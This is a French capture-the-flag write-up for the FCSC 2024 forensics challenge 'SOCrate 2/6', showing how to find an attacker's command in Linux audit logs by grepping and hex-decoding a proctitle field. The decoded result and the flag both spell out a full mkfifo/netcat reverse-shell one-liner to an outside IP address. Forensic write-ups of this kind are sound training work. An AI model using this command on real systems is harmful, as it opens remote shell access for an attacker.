FCSC 2024 SOCrate 2/6 Reverse Shell (237 pts)

Morad Halmi Etudiant membre 2600

Categorie : Forensics

Objectif : Retrouver la commande de reverse shell utilisee par lattaquant.

Flag attendu : FCSC{LIGNE_DE_COMMANDE}

METHODOLOGIE (manuelle et logique)

1. Comprehension du contexte

L'enonce nous informe quun attaquant a execute un reverse shell sur une machine compromise. On recoit un `.tar.xz` contenant des logs Linux et Windows, mais le challenge vise ici les logs Linux.

2. Exploration de larchive

Extraction de l'archive :

tar -xf socrate.tar.xz

cd socrate/linux

Des dizaines de logs dates sont presents.

3. Recherche manuelle de patterns connus de reverse shell

grep -r "mkfifo" .

Plusieurs fichiers apparaissent, dont 20230613T084001.log.

4. Decodage du proctitle

Dans ce log :

proctitle=2F62696E2F62617368002D6300726D202F746D702F663B6D6B6669666F202F746D702F663B636174202F746D702F667C2F62696E2F7368202D6920323E26317C6E632038302E313235 2E392E353820353030303132203E2F746D702F66

Decodage :

echo -n "..." | xxd -r -p

Resultat :

/bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f

FLAG

FCSC{/bin/bash -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f}

CONCLUSION

En analysant les logs de maniere manuelle, en pensant comme un attaquant et en cherchant les composants typiques dun reverse shell (fifo, redirections, netcat), on tombe rapidement sur la commande exacte.